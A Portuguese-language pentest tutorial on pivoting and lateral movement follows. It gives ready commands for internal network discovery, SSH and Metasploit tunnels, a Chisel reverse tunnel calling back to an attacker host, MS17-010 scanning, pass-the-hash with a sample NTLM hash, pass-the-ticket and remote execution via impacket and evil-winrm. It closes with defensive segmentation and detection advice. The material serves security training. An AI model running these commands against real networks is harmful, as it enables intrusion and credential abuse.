Avançado Pentest e Ofensiva

Pivoting e movimento lateral — acessar redes internas via host comprometido

Pivoting simula o que acontece após um atacante ganhar o primeiro acesso: ele usa essa máquina como trampolim para alcançar outros segmentos da rede, normalmente inacessíveis diretamente.

Conceito de pivoting

Cenário típico:
  Internet → [Firewall] → DMZ (192.168.1.0/24)
                            └── WebServer (192.168.1.50) ← COMPROMETIDO
                                    └── Rede Interna (10.0.0.0/24)
                                          ├── DC (10.0.0.10)
                                          ├── DB (10.0.0.20)
                                          └── HR (10.0.0.30)

Objetivo do pivoting:
  Atacante está em 192.168.1.50 e quer alcançar 10.0.0.0/24
  sem comunicação direta com a rede interna.

Descoberta da rede interna

# No host comprometido — descobrir interfaces e rotas
ip addr show
ip route
cat /etc/hosts
arp -a                    # hosts que se comunicaram recentemente

# Sweep de descoberta (sem nmap instalado no alvo)
for i in $(seq 1 254); do ping -c 1 -W 1 10.0.0.$i 2>/dev/null | grep "64 bytes" & done

# Com nmap rodando no host de ataque via pivot
nmap -sn 10.0.0.0/24 --proxies socks5://127.0.0.1:1080

SSH Tunneling — técnica fundamental

Port forwarding local

# Acessar serviço na rede interna via SSH
# Redireciona porta local 3306 → DB interno (10.0.0.20:3306) via pivot
ssh -L 3306:10.0.0.20:3306 usuario@192.168.1.50

# Agora, na máquina de ataque:
mysql -h 127.0.0.1 -P 3306 -u root -p

Port forwarding dinâmico — SOCKS proxy

# Cria proxy SOCKS5 na porta 1080
ssh -D 1080 usuario@192.168.1.50

# Configurar proxychains para usar o proxy
# /etc/proxychains.conf:
#   socks5  127.0.0.1  1080

# Rotear qualquer ferramenta pelo pivot
proxychains nmap -sT -Pn 10.0.0.0/24
proxychains curl http://10.0.0.10
proxychains crackmapexec smb 10.0.0.0/24

Metasploit — pivot com route

# No Meterpreter, após comprometer 192.168.1.50
run post/multi/manage/autoroute      # adiciona rotas automaticamente

# Ou manualmente:
background
route add 10.0.0.0/24 [session_id]
route print

# Agora módulos do Metasploit alcançam 10.0.0.0/24
use auxiliary/scanner/smb/smb_ms17_010
set RHOSTS 10.0.0.0/24
run

# SOCKS proxy via Metasploit
use auxiliary/server/socks_proxy
set SRVPORT 1080
set VERSION 5
run

Chisel — tunneling sem SSH

Útil quando SSH não está disponível ou filtrado.

# No host de ataque (servidor):
./chisel server -p 8080 --reverse

# No host comprometido (cliente):
./chisel client 192.168.1.100:8080 R:1080:socks

# Resultado: proxy SOCKS5 em 127.0.0.1:1080 no host de ataque
# Roteie via proxychains como antes

Movimento lateral — técnicas

Pass-the-Hash (PTH):
  Usa hash NTLM capturado para autenticar sem saber a senha em texto claro
  
  crackmapexec smb 10.0.0.0/24 -u administrator \
    -H aad3b435b51404eeaad3b435b51404ee:8846f7eaee8fb117ad06bdd830b7586c

Pass-the-Ticket (PTT):
  Usa ticket Kerberos roubado para autenticar em serviços AD
  
  impacket-getTGT example.local/user:password
  export KRB5CCNAME=user.ccache
  impacket-psexec -k -no-pass example.local/user@dc.example.local

PsExec / WMI / WinRM:
  Execução remota com credenciais válidas
  
  impacket-psexec administrator:senha@10.0.0.10
  evil-winrm -i 10.0.0.10 -u administrator -p senha

Double pivot — encadeamento de pivots

Atacante → Pivot1 (DMZ) → Pivot2 (Rede Corporativa) → Rede Restrita

# Via SSH encadeado
ssh -L 2222:10.0.0.50:22 usuario@192.168.1.50
ssh -D 1080 -p 2222 usuario2@127.0.0.1

# Via proxychains encadeado
# /etc/proxychains.conf:
#   socks5 127.0.0.1 1080   # primeiro pivot
#   socks5 127.0.0.1 1081   # segundo pivot

Defesa contra pivoting e movimento lateral

Segmentação de rede:
  → VLANs separadas por função (DMZ, Corporativa, Industrial, DB)
  → Firewall entre segmentos — negar tudo, liberar só o necessário
  → Zero Trust: autenticação mesmo em redes internas

Detecção:
  → Alertar conexões SSH de servidores para outras redes
  → Monitorar port forwarding (netstat, auditd)
  → Detectar uso de ferramentas como chisel/ngrok/frp
  → Correlacionar autenticações de mesma conta em múltiplos hosts (PTH/PTT)

Hardening:
  → Desabilitar autenticação por senha no SSH (somente chave)
  → Credential Guard (Windows) — protege LSASS de dump
  → Protected Users group no AD — limita uso de NTLM/Kerberos

Pivoting revela o real impacto de um comprometimento. Um servidor web vulnerável pode ser o ponto de entrada para o banco de dados de RH.